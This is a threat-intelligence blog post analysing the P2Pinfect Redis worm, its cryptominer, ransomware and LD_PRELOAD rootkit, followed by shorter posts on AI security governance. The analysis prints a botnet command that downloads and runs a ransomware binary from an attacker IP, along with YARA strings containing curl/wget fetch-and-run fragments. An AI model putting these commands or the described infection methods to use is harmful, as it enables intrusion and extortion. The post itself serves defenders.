ブログ
/
Cloud
/
June 25, 2024

From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer

P2Pinfect, a sophisticated Rust-based malware, has evolved from a dormant spreading botnet to actively deploying ransomware and a cryptominer, primarily infecting Redis servers and using a P2P C2. The updated version includes a user-mode rootkit, but its ransomware impact is limited by the low privileges often associated with Redis.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
25
Jun 2024

Introduction: Ramsomware and cryptominer

P2Pinfect is a Rust-based malware covered extensively by Cado Security in the past [1]. It is a fairly sophisticated malware sample that uses a peer-to-peer (P2P) botnet for its command and control (C2) mechanism. Upon initial discovery, the malware appeared mostly dormant. Previous Cado research showed that it would spread primarily via Redis and a limited SSH spreader but ultimately did not seem to have an objective other than to spread. Researchers from Cado Security (now part of Darktrace) have observed a new update to P2Pinfect that introduces a ransomware and crypto miner payload.

Recap

Cado Security researchers first discovered it during triage of honeypot telemetry in July of 2023. Based on these findings, it was determined that the campaign began on June 23rd based on the TLS certificate used for C2 communications.

Initial access

The malware spreads by exploiting the replication features in Redis - where Redis runs in a distributed cluster of many nodes, using a leader/follower topology. This allows follower nodes to become an exact replica of the leader nodes, allowing for reads to be spread across the whole cluster to balance load, and provide some resilience in case a node goes down. [2]

This is frequently exploited by threat actors, as leaders can instruct followers to load arbitrary modules, which can in turn be used to gain code execution on the follower nodes. P2Pinfect exploits this by using the SLAVEOF command to turn discovered opened Redis nodes into a follower node of the threat actor server. It then uses a series of commands to write out a shared object (.so) file, and then instructs the follower to load it. Once this is done, the attacker can send arbitrary commands to the follower for it to execute.

Redis commands by P2Pinfect
Figure 1: Redis commands used by P2Pinfect for initial access (event ordering is non-linear)
P2Pinfect utilizes Redis initial access vector
Figure 2: P2Pinfect also utilizes another Redis initial access vector where it abuses the config commands to write a cron job to the cron directory

Main payload

P2Pinfect is a worm, so all infected machines will scan the internet for more servers to infect with the same vector described above. P2Pinfect also features a basic SSH password sprayer, where it will try a few common passwords with a few common users, but the success of this infection vector seems to be a lot less than with Redis, likely as it is oversaturated.

Upon launch it drops an SSH key into the authorized key file for the current user and runs a series of commands to prevent access to the Redis instance apart from IPs belonging to existing connections. This is done to prevent other threat actors from discovering and exploiting the server. It also tries to update the SSH configuration and restart SSH service to allow root login with password. It will also try changing passwords of other users, and will use sudo (if it has permission to) to perform privilege escalation.

The botnet is the most notable feature of P2Pinfect. As the name suggests, it is a peer-to-peer botnet, where every infected machine acts as a node in the network, and maintains a connection to several other nodes. This results in the botnet forming a huge mesh network, which the malware author makes use of to push out updated binaries across the network, via a gossip mechanism. The author simply needs to notify one peer, and it will inform all its peers and so on until the new binary is fully propagated across the network. When a new peer joins the network, non-expired commands are replayed to the peer by the network.

Updated main payload

The main binary appears to have undergone a rewrite. It now appears to be entirely written using tokio, an async framework for rust, and packed with UPX. Since it was first examined the payload, the internals have changed drastically. The binary is stripped and partially obfuscated, making static analysis difficult.

P2Pinfect used to feature persistence by adding itself to .bash_logout as well as a cron job, but it appears to no longer do either of these. The rest of its behaviors, such as the initial setup outlined previously, are the same.

Updated bash behavior

P2Pinfect drops a secondary binary at /tmp/bash and executes it. This process sets its command line args to [kworker/1:0H] in order to blend in on the process listing. /tmp/bash serves as a health check for the main binary. As previously documented, the main binary listens on a random port between 60100 to 60150 that other botnet peers will connect to. /tmp/bash periodically sends a request to the port to check it is alive and assumedly will respawn the main binary if it goes down.

System logs
Figure 3: Sysmon logs for the /tmp/bash payload

Miner payload becomes active

Previously, the Cado Security research team had observed a binary called miner that is embedded in P2Pinfect, however this appeared to never be used. However, Cado observed that the main binary dropping the miner binary to a mktmp file (mktmp creates a file in /tmp with some random characters as the name) and executing it. It features a built-in configuration, with the Monero wallet and pool preconfigured. The miner is only activated after approximately five minutes has elapsed since the main payload was started.

Wallet Details
Figure 4: Wallet details for the attacker’s supposed wallet 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL

The attacker has made around 71 XMR, equivalent to roughly £9,660. Interestingly, the mining pool only shows one worker active at 22 KH/s (which generates around £15 a month) which doesn’t seem to match up with the size of the botnet nor how much they have made.

Upon reviewing the actual traffic from the miner, it appears to be trying to make a connection to various Hetzner IPs on TCP port 19999 and does not start mining until this is successful. These IPs appear to belong to the c3pool mining pool and not the supportxmr pool, suggesting that the config may have been left as a red herring. Checking c3pool for the wallet address, there is no activity for the above wallet address beyond September 2023. It is likely that there is another wallet address being used.

New ransomware payload

Upon joining the botnet, P2Pinfect receives a command instructing it to download and run a new binary called rsagen, which is a ransomware payload.

{"i":10,"c":1715837570,"e":1734397199,"t":{"T":{"flag":5,"e":null,"f":null,"d":[0,0],"re":false,"ts":[{"retry":{"retry":5,"delay_ms":[10000,35000]},"delay_exec_ms":null,"error_continue":false,"cmd":{"Inner":{"Download":{"url":"http://129.144.180.26:60107/dl/rsagen","save":"/tmp/rsagen"}}}},{"retry":null,"delay_exec_ms":null,"error_continue":true,"cmd":{"Shell":"bash -c 'chmod +x /tmp/rsagen; /tmp/rsagen ZW5jYXJncyAxIGJlc3R0cmNvdmVyeUBmaXJlbWFpbC5jYyxyYW5kYm5vdGhpbmdAdHV0YW5vdGEuY29t'"}}]}}} 

It is interesting to note that across all detonations, the download URL has not changed, and the command JSON is identical. This suggests that the command was issued directly by the malware operator, and the download server may be an attacker-controlled server used to host additional payloads.

This JSON structure is typical of a command from the botnet. As mentioned previously, when a new botnet peer joins the network, it is replayed non-expired commands. The c and e parameters contain timestamps that are likely to be command creation and expiry times, it can be determined that the command to start the ransomware was issued on May 16, 2024 and will continue to be active until December 17. Other interesting parameters can also be seen, such as type 5 (exec on linux, exec on windows is type 6), as well as retry parameters. Clearly a large amount of thought and effort has been put into designing P2Pinfect, far exceeding the majority of malware in sophistication.

The base64 args of the binary cleanly decode to “encargs 1 [email protected],[email protected]” - which are the email addresses used in the ransom note for where to send payment confirmations to. It’s unknown what the encargs 1 part is for.

downloaded file
Figure 5: The main binary obediently downloads and the file is executed

Upon launch, rsagen checks if the ransom note already exists in either the current working directory (/tmp), or the home directory of the user the process is running under. If it does, it exits immediately. Otherwise, it will instead begin the encryption process. The exact cryptographic process is not known, however Cado’s assumption is that it generates a public key used to encrypt files, and encrypts the corresponding private key using the attacker’s public key, which is then added to the ransom note. This allows the attacker to then decrypt the private key and return it to the user after they pay, without needing to include any secrets or C2 on the client machine.

Ransom note
Figure 6: Ransom note, titled “Your data has been locked!.txt”

As they are using Monero, it is impossible to figure out how much they have earned so far from the campaign. 1 XMR is currently £136 as of writing, which is on the cheaper end of ransomware. As this is an untargeted and opportunistic attack, it is likely the victims are to be low value, so having a low price is to be expected.

After writing out the note, the ransomware iterates through all directories on the file system, and overwrites the contents with an encrypted version. It then appends .encrypted to the end of the file name.

Linux does not require file extensions on files, however the malware seems to only target files that have specific extensions. Instead of checking for particular extensions, it instead has a massive string which it then checks if the extension is contained in.

mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder

This makes it quite difficult to pick out a complete list of extensions, however going through it there are many file formats, such as py, sqlite3, sql, mkv, doc, xls, db, key, pfx, wav, mp3, and more.

The ransomware stores a database of the files it encrypted in a mktmp file with .lockedfiles appended. The user is then expected to run the rsagen binary again with a decryption token in order to have their files decrypted. Cado Security does not possess a decryption token as this would require paying the attackers.

As the ransomware runs with the privilege level of its parent, it is likely that it will be running as the Redis user in the wild since the main initial access vector is Redis. In a typical deployment, this user has limited permissions and will only be able to access files saved by Redis. It also should not have sudo privileges, so would not be able to use it for privilege escalation.

Redis by default doesn’t save any data to disk and is typically used for in-memory only caching or key value store, so it’s unclear what exactly the ransomware could ransom other than its config files. Redis can be configured to save data to files - but the extension for this is typically rdb, which is not included in the list of extensions that P2Pinfect will ransom.

With that in mind, it’s unclear what the ransomware is actually designed to ransom. As mentioned in the recap, P2Pinfect does have a limited ability to spread via SSH, which would likely compromise higher privilege users with actual files to encrypt. The spread of P2Pinfect over SSH is far more limited compared to Redis however, so the impact is much less widespread.

New usermode rootkit

P2Pinfect now features a usermode rootkit. It will seek out .bashrc files it has permission to modify in user home directories, and append export LD_PRELOAD=/home/<user>/.lib/libs.so.1 to it. This results in the libs.so.1 file being preloaded whenever a linkable executable (such as the ls or cat commands) is run.

The shared object features definitions for the following methods, which hijack legitimate calls to it in order to hide specific information:

  • fopen & fopen64
  • open & open64
  • lstat & lstat64
  • unlink & unlinkat
  • readdir & readdir64

When a call to open or fopen is hijacked, it checks if the argument passed is one of the PIDs associated with the main file, /tmp/bash, or the miner. If it is one of these, it sets errno to 2 (file not found) and returns. Otherwise, it passes the call to the respective original function. If it is a request to open /proc/net/tcp or /proc/net/tcp6, it will filter out any ports between 60100 and 60150 from the return stream.

Similarly with hijacked calls captured to lstat or unlink, it checks if the argument passed is the main process’ binary. It does this by using ends_with string function on the file name, so any file with the same random name will be hidden from stat and unlink, regardless of if it is in the right directory or is the actual main file.

Finally with readdir, it will run the original function, but remove any of the process PIDs or the main file from the returned results.

decompiled pseudocode for readdir function
Figure 7: The decompiled pseudocode for the hijacked readdir function

It is interesting to note that when a specific environment variable is set, it will bypass all of the checks. Based on analysis of the original research from Cado Security, this is likely used to allow shell commands from the other malware binaries to be run without interference by the rootkit.

Pseudocode for env_var check
Figure 8: The decompiled pseudocode for the env_var check

The rootkit is dynamically generated by the main binary at runtime, with it choosing a random env_var to set as the bypass string, and adding its own file name plus PIDs to the SO before writing it to disk.

Like the ransomware, the usermode rootkit suffers from a fatal flaw; if the initial access is Redis, it is likely that it will only affect the Redis user as the Redis user is only used to run the Redis server and won’t have access to other user’s home directories.

Botnet for hire?

One theory we had following analysis was that P2Pinfect might be a botnet for hire. This is primarily due to how the new ransomware payload is being delivered from a fixed URL by command, compared to the other payloads which are baked into the main payload. This extensibility would make sense for the threat actor to use in order to deploy arbitrary payloads onto botnet nodes on a whim. This suggests that P2Pinfect may accept money for deploying other threat actors' payloads onto their botnet.

This theory is also supported by the following factors:

  • The miner wallet address is different from the ransomware wallet address, suggesting they might be separate entities.
  • The built in miner uses as much CPU as it can, which often has interfered with the operation of the ransomware. It doesn’t make sense for an attacker motivated by ransomware to deploy a miner as well.
  • The rsagen payload is not protected by any of P2Pinfect’s defensive features, such as the usermode rootkit.
  • As discussed, the command to run rsagen is a generic download and run command, whereas the miner has its own custom command set.
  • main is written using tokio and packed with UPX, rsagen is not packed and does not use tokio.

On the other hand, the following factors seem to contradict the idea that the distribution of rsagen could be evidence of a botnet for hire:

  • For both the main P2Pinfect binary and rsagen, the compiler string is GCC(4.8.5 20150623 (Red Hat 4.8.5-44)). This shows that the author of P2Pinfect almost certainly compiled it, assuming that the strings have not been tampered with
  • Both of the payloads are written in Rust. It’s certainly possible that a third-party attacker could also have chosen Rust for the project, but combined with the above point, it seems less likely.

While it is possible that P2Pinfect might be engaging in initial access brokerage, the facts of the matter seem to point to it most likely not being the case.

Conclusion

P2Pinfect is still a highly ubiquitous malware, which has spread to many servers. With its latest updates to the crypto miner, ransomware payload, and rootkit elements, it demonstrates the malware author’s continued efforts into profiting off their illicit access and spreading the network further, as it continues to worm across the internet.

The choice of a ransomware payload for malware primarily targeting a server that stores ephemeral in-memory data is an odd one, and P2Pinfect will likely see far more profit from their miner than their ransomware due to the limited amount of low-value files it can access due to its permission level.

The introduction of the usermode rootkit is a “good on paper” addition to the malware - while it is effective at hiding the main binaries, a user that becomes aware of its existence can easily remove the LD preload or the binary. If the initial access is Redis, the usermode rootkit will also be completely ineffective as it can only add the preload for the Redis service account, which other users will likely not log in as.

Indicators of compromise (IoCs)

Hashes

main 4f949750575d7970c20e009da115171d28f1c96b8b6a6e2623580fa8be1753d9

bash 2c8a37285804151fb727ee0ddc63e4aec54d9460b8b23505557467284f953e4b

miner 8a29238ef597df9c34411e3524109546894b3cca67c2690f63c4fb53a433f4e3

rsagen 9b74bfec39e2fcd8dd6dda6c02e1f1f8e64c10da2e06b6e09ccbe6234a828acb

libs.so.1 Dynamically generated, no consistent hash

IPs

Download server for rsagen 129[.]144[.]180[.]26:60107

Mining pool IP 1 88[.]198[.]117[.]174:19999

Mining pool IP 2 159[.]69[.]83[.]232:19999

Mining pool IP 3 195[.]201[.]97[.]156:19999

Yara

Main

Please note the main binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectMain {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect main payload"
  strings:
    $s1 = "nohup $SHELL -c \"echo chmod 777  /tmp/"
    $s2 = "libs.so.1"
    $s3 = "SHELLzshkshcshsh.bashrc"
    $s4 = "curl http:// -o /tmp/; if [ ! -f /tmp/ ]; then wget http:// -O /tmp/; fi; if [ ! -f /tmp/ ]; then ; fi; echo  && /tmp/"
    $s5 = "root:x:0:0:root:/root:/bin/bash(?:([a-z_][a-z0-9_]*?)@)?(?:(?:([0-9]\\.){3}[0-9]{1,3})|(?:([a-zA-Z0-9][\\.a-zA-Z0-9-]+)))"
    $s6 = "/etc/ssh/ssh_config/root/etc/hosts/home~/.././127.0::1.bash_historyscp-i-p-P.ssh/config(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
    $s7 = "system.exec \"bash -c \\\"\\\"\""
    $s8 = "system.exec \"\""
    $s9 = "powershell -EncodedCommand"
    $s10 = "GET /ip HTTP/1.1"
    $s11 = "^(.*?):.*?:(\\d+):\\d+:.*?:(.*?):(.*?)$"
    $s12 = "/etc/passwd.opass123456echo -e \"\" | passwd && echo  > ; echo -e \";/bin/bash-c\" | sudo -S passwd"
  condition:
    uint16(0) == 0x457f and 4 of them
}

Bash

Please note the bash binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectBash {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect bash payload"
  strings:
    $h1 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 0A 59 E8 17 6C 01 00 84 C0 0F 85 0F 03 00 00 }
    $h2 = { 48 8B 9C 24 ?? ?? 00 00 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 09 59 E8 34 6C 01 00 84 C0 0F 85 AC 02 00 00 }
    $h3 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 03 59 E8 DD 6B 01 00 84 C0 0F 85 DF 03 00 00 }
  condition:
    uint16(0) == 0x457f and all of them
}

Miner (xmrig)

rule XMRig {
   meta:
      attack = "T1496"
      description = "Detects XMRig miner"
   strings:
      $ = "password for mining server" nocase wide ascii
      $ = "threads count to initialize RandomX dataset" nocase wide ascii
      $ = "display this help and exit" nocase wide ascii
      $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
      $ = "enable CUDA mining backend" nocase wide ascii
      $ = "cryptonight" nocase wide ascii
   condition:
      5 of them
}

rsagen

rule P2PinfectRsagen {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect rsagen payload"
  strings:
    $a1 = "$ENC_EXE$"
    $a2 = "$EMAIL_ADDRS$"
    $a3 = "$XMR_COUNT$"
    $a4 = "$XMR_ADDR$"
    $a5 = "$KEY_STR$"
    $a6 = "$ENC_DATABASE$"
    $b1 = "mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder"
    $c1 = "lock failedlocked"
    $c2 = "/root/homeencrypt"
  condition:
    uint16(0) == 0x457f and (2 of ($a*) or $b1 or all of ($c*))
}

libs.so.1

rule P2PinfectLDPreload {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect libs.so.1 payload"
  strings:
    $a1 = "env_var"
    $a2 = "main_file"
    $a3 = "hide.c"
    $b1 = "prefix"
    $b2 = "process1"
    $b3 = "process2"
    $b4 = "process3"
    $b5 = "owner"
    $c1 = "%d: [0-9A-Fa-f]:%X [0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu 2s"
    $c2 = "/proc/net/tcp"
    $c3 = "/proc/net/tcp6"
  condition:
    uint16(0) == 0x457f and (all of ($a*) or all of ($b*) or all of ($c*))
}

References:

  1. https://www.darktrace.com/blog/p2pinfect-new-variant-targets-mips-devices
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/  
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

July 8, 2026

Securing AI: Analysis of the Complete Security Stack with Governance and Controls

Default blog imageDefault blog image

Why traditional cybersecurity approaches are not enough for AI

AI adoption outpaces most security programs’ ability to adapt.  That gap is now one of the most consequential sources of cyber risk facing enterprises. As organizations embed generative and agentic AI into development workflows, business operations, and security tooling itself, the question is no longer whether AI will introduce risk. The question is whether organizations understand where that risk actually lives and how to manage it operationally.  

Two recent pieces of guidance underscore this shift:

  1. The upcoming Cybersecurity Framework Profile for AI from NIST
  1. The Five Eyes government guidance on the careful adoption of agentic AI services

Taken together, they point to a critical conclusion. AI security cannot be reduced to model hardening or prompt filtering. It requires a defense in depth strategy that treats AI as both a new attack surface and a force multiplier for defense, while accounting for how AI fundamentally changes scale, speed, and autonomy.  

Recent threat research suggests that today's cyber risk is driven less by initial compromise and more by an adversary's ability to blend into normal operations over time. AI systems create the same exposure in a new form: more autonomy, more scale, and more opportunities for risky behavior to blend into normal operations.

How NIST defines the three core pillars of AI security

The NIST profile organizes AI risk across three inseparable focus areas that span all cybersecurity functions, Secure, Defend and Thwart. These areas are not sequential. They exist simultaneously and must be addressed together.

Secure

This treats AI as an attack surface. It includes models, prompts, agents, pipelines, training and inference data, retrieval augmented generation corpora, and the AI supply chain itself. AI systems are opaque, probabilistic, and non-deterministic by design. Some vulnerabilities are inherent in how models are trained or how data is sourced. Traditional patching does not fully mitigate these risks. This is also where many enterprises are weakest today and, critically, where many security programs stop.  

Defend

This is AI as a defensive force multiplier. AI can improve detection speed, scale, correlation, and response, but only if the right models are used and operationalized correctly. Machine-speed behavior-based detection, response and containment becomes critical in defending non-deterministic systems. Accuracy, explainability, governance, testing, validation, and integration into SOC workflows matter as much as capability. Without those controls, hallucination risk, over automation, and misplaced trust become security risks themselves.  

Thwart

This treats AI as an adversarial accelerant. Threat actors are already using AI to generate targeted social engineering attacks, deepfakes, malware, and autonomous attack agents. Asymmetric warfare is highlighting faster vulnerability discovery and exploitation with a lag on patch development, testing and deployment.  

How this looks in practice

Darktrace researchers observed scaled, automated exploitation of the React2Shell vulnerability within days of disclosure. A vulnerable cloud asset was exploited in under 120 seconds of being deployed. Darktrace research team observed an AI/LLM-generated malware sample used in exploitation activity tied to React2Shell. The significance isn't novelty. It is that AI lowers the barrier to producing usable offensive tooling and compresses the time between experimentation and deployment.  

Tactics are getting more and more creative in order to string together steps of an attack kill chain. This creates a dependency on behavior-based detection, autonomous investigation, autonomous containment, training, resilience investment, and recovery planning across the entire enterprise.

Why agentic AI fundamentally changes enterprise cyber risk

The Five Eyes guidance on agentic AI highlights material changes to the cyber risk profile of an organization. Unlike generative AI systems that produce content for human consumption, agentic AI systems reason, plan, and act autonomously across tools, data, and environments. That autonomy, combined with access to real systems, amplifies the impact of traditional cyber failures and introduces new system level risks that are difficult to predict, observe, and contain.  

Risk in agentic systems does not live in the model alone. It emerges from interactions between models, prompts, memory, tools, APIs, identities, privileges, inter-agent trust relationships, and human assumptions baked into design. Vulnerabilities are often introduced through data, connectors, natural language interfaces, protocols, and drift by design.

In supply-chain incidents, attackers did not need sophisticated exploits to scale impact. They abused trusted systems built for automation and implicit access. Agentic AI inherits that model. Once a system can act across tools, data, and workflows, compromise propagates through trust relationships that were never designed for machine autonomy.

The major agentic AI risk classes include the following:  

  • The identity control for non-human identities or autonomous agents makes it difficult to mitigate over-permissioning, limiting access, scope, and duration, as well as access hygiene
  • Agents are frequently over permissioned
  • Compromised tools inherit agent authority
  • Static secrets enable impersonation
  • Implicit trust between agents enables lateral movement

Design and configuration risks compound this, including privileges evaluated once at startup, poor segmentation, unvetted third party tools, reused authorization decisions outside their original context, and guardrail limitations.  

Behavioral risk  

Agents can optimize for goals in unsafe ways, misinterpret ambiguous intent, chain actions into unintended sequences, change behavior during evaluation, and exhibit deceptive or sycophantic responses.  

Structural risk  

Structural risk follows from agentic systems that are tightly coupled, multicomponent ecosystems. Failures can propagate across agents. Hallucinations cascade downstream. Resource exhaustion becomes systemic. Tool misuse enables indirect prompt injection and command execution. Rogue agents can poison peer agents through trust relationships.  

Accountability

Accountability becomes unclear as autonomy increases. Autonomous agents assume human identity permissions, and humans should have clear ownership of these agents, but they don’t, and this model is flawed. Decision paths are opaque and non-deterministic. Logs are fragmented and difficult to interpret. Reproducing an incident will be impossible without explicit design for observability and forensics. An agent compromise is functionally an insider threat, often with better access and fewer behavioral constraints than a human.  

What does defense in depth look like for AI?

Agentic AI runs on software, networks, identities, and data. It must be governed using the same foundational principles that have proven resilient under uncertainty, including secure by design, defense in depth, zero trust, least privilege, continuous monitoring, behavior-based advanced threat detection and containment, and incident response and recovery.

Core components to a Defense in depth Strategy for Securing the use of AI:

  • Strong, precise identity control plane to include an identity per agent (cryptographic, non‑shared)
    • Privilege monitoring and just‑in‑time access
  • Data Governance
  • Secure‑by‑default configurations
    • Security Posture Management  
    • Zero Trust principles  
  • Strong guardrails, deny‑by‑default policies, and isolation
  • Explicit instruction hierarchies and controlled context
  • Behavioral-based detection across entire enterprise to include inputs, tools, and outputs as well as AI used on the endpoint, across the network, cloud, SaaS, email, and OT
    • Runtime anomaly detection and goal‑drift detection
    • Autonomous containment to mitigate risk and minimize damage
  • Hard boundaries on autonomy and delegation
  • Testing, Evaluation, Validation and Verification  
    • Determine when autonomous action and when human in the loop
    • Adversarial training and agent‑specific testing
    • Simulation, red teaming, and chaos testing
  • Kill‑switches, rollback, and containment mechanisms
    • Forensics data captures, interpretability, autonomous containment, and remediation/recovery plans  

Until standards, tooling, and assurance methods mature, organizations should assume agentic AI systems will behave unexpectedly and design deployments around resilience, behavior-based detection, reversibility, and containment, not efficiency.

How security leaders should prepare for enterprise AI adoption

AI security is not model security alone. Data, pipelines, identities, and agents are first class assets. Many AI attacks succeed through standard cyber failures amplified by AI. Identity, data, and supply chain risk dominate. Behavior-based detection and response are critical, not optional. Logging, provenance, versioning, and forensics data capture of detections are mandatory because you cannot investigate or recover from AI incidents without them.  

Risk will often be visible in behavior before it is clearly defined in policy or guidance. The same pattern has been seen in pre-CVE disclosure detection, where abnormal activity appears before the industry has named or described the vulnerability. AI systems introduce that uncertainty by design.

Security leaders should prioritize controls before AI is fully deployed, avoid generic AI security checklists, integrate AI risk into existing cyber programs, and mitigate the risk of non-deterministic technology with continuous oversight, monitoring, behavior analytics, anomaly detection, autonomous investigation, and autonomous containment.

Visibility has a different connotation with AI. Previously, audit logging worked for software/people, but with Generative AI-based systems, interpretability and explainability is difficult to understand, you cannot "undo" what has been done, or see the logic or control a chain of events. This is why behavioral-based detections and containment becomes critical.  

What capabilities should every AI security program include?

If an organization asked “what must be in place before scaling AI?”:

  1. AI Risk board and approval workflow
  1. IAM + PAM for all AI services and agents
  1. AI asset inventory
  1. Prompt/output DLP with sanctioned AI access – This is not just pre- and post- filters, but behavior-based detections of semantic interface as well as behavior-based analysis of output with associated risk context.  
  1. Shadow AI identification
  1. Secure MLOps – This is an entire paper itself
  1. Runtime guardrails and tool restrictions
    • Including AI Gateway/SASE/Zero trust/
  1. Runtime security with behavior-based detections
    • Complete visibility, monitoring, behavior analytics, anomaly detection, risk/intent/context evaluation of anomalies, autonomous investigation and autonomous containment of all AI assets across endpoint, network, SaaS, SASE, cloud, OT, email, and messaging platforms
  1. Secure data pipelines and data governance
  1. SOC workflow changes from malicious classification workflows to behavior-based detection workflows
  1. Remediation plans for AI-related incidents  

Layered Governance and Security Stack for Securing AI  

The following outline considers governance and security tools that should be considered, well-integrated, deployed, tested, operationalized and embedded within security workflows. These tools and controls map to NIST’s CMF for AI.  

These considerations do not need to be implemented in order. Runtime Detect and Respond will help mitigate risk while Governance, Visibility, and Identity mature.

Category Tooling Controls
Governance & Visibility
  • AI asset inventory / AI CMDB
  • Shadow AI discovery
  • SaaS discovery
  • AI usage on non-endpoint managed systems via network or cloud telemetry
  • MCP server/client usage via protocols
  • Browser telemetry
  • Gateway or SASE telemetry
  • Establish a risk board to set up controls
  • Mandatory registration of AI systems
  • Owner, data classification, intended use, and risk tier
  • Supplier disclosure requirements
  • Risk mitigation plan for AI adoption, innovation, or development
Identity, Access & Agent Control

Non-human autonomous agents should not have the full permissions associated with a human user.

  • IAM with workload identities
  • PAM for AI service accounts
  • Secrets management with short-lived tokens
  • Zero Trust principles
  • Identity, permission, and token hygiene
  • Unique identities per model, agent, and pipeline
  • Least privilege for tools, data, and APIs
  • Explicit approval for autonomous actions
Data Security & Privacy
  • Data classification and labeling
  • Enterprise DLP across endpoint, email, network, cloud, and SaaS
  • Forensics data capture after risky detections
  • Prompt-level DLP through behavior-based semantic analysis with risk and intent context
  • Input/interface analysis for risky data requests
  • Output analysis for sensitive data
  • Data integrity evaluation
  • Retention and redaction policies for prompts and responses
Secure MLOps / LLMOps
  • Secure CI/CD with AI-specific gates
  • Model registries with approval workflows
  • Dependency, container, and artifact scanning
  • SBOM/AIBOM generation
  • IaC security scanning
  • Security posture management
  • Misconfiguration identification
  • Hardening recommendations
  • Signed models and prompts
  • Versioned datasets, configurations, logging, and controls
  • Securing data pipelines
  • Controlled promotion
  • Quality assurance
  • Adversarial testing
Runtime Security

Securing runtime goes beyond guardrails and model firewalls to include behavior-based detections, response, and containment.

  • Detection, monitoring, and SOC integration
  • Centralized visibility into prompts, outputs, and tool calls
  • AI-specific detections
  • Behavior-based detection for AI usage patterns
  • Model drift and behavior monitoring
  • Autonomous containment
  • Behavior-based detection of model inputs and outputs
  • Prompt injection detection
  • Model manipulation, including jailbreaking, poisoning, and related attacks
  • Sensitive data access attempts
  • Behavior-based detection across low-code agents, high-code agents, MCP clients and servers, endpoint, network, cloud, email, SaaS, SASE, IoT, and OT
  • Policy enforcement between users, models, tools, agents, SaaS models/tools, and MCP servers/clients
  • Risk, intent, and context evaluation for detections and response actions
Response & Recovery
  • Autonomous containment
  • AI-assisted playbooks
  • Forensics data capture for AI-related events
  • Model rollback mechanisms
  • Backup and restore for models and datasets
  • Kill switch for agents
  • Autonomous response to agents performing risky behaviors
  • Model and dataset rollback
  • Remediation plans
  • Tabletop exercises
  • Supplier coordination plans
  • Post-incident AI performance validation

AI security requires continuous visibility and behavioral detection

AI changes how fast systems move, how decisions are made, and how risk propagates. It does not change the fundamentals of security. Organizations that succeed will be the ones that apply those fundamentals rigorously, assume failure, and build systems that can detect, contain, and recover when AI behaves in ways they did not anticipate. Security is not what AI is allowed to do. It is whether the organization can understand, trust, and control what AI actually does in practice.  

Take this guidance to understand different initiatives that organizations should be considering. Securing AI is the most critical component to AI safety. As organizations invest more in AI adoption, they should be investing in security in order to mitigate the risk of AI adoption. Organizations should be evaluating their governance and security stack to include well-integrated tools that are deployed, tested, operationalized and embedded within security workflows. While organizations mature in governance, visibility and identity access management, they should be investing in behavior-based detection and autonomous containment to mitigate AI risk.  

Continue reading
About the author

Blog

/

AI

/

July 6, 2026

NIST Just Proved It: AI Security Can’t Be Solved With Rules

Default blog imageDefault blog image

Static AI guardrails are inherently limited

As organizations adopt generative AI, many still assume that the right set of guardrails will be enough. The problem is you can’t anticipate every way these systems might be misused, abused or attacked. What NIST has done is put a mathematical foundation under that intuition.

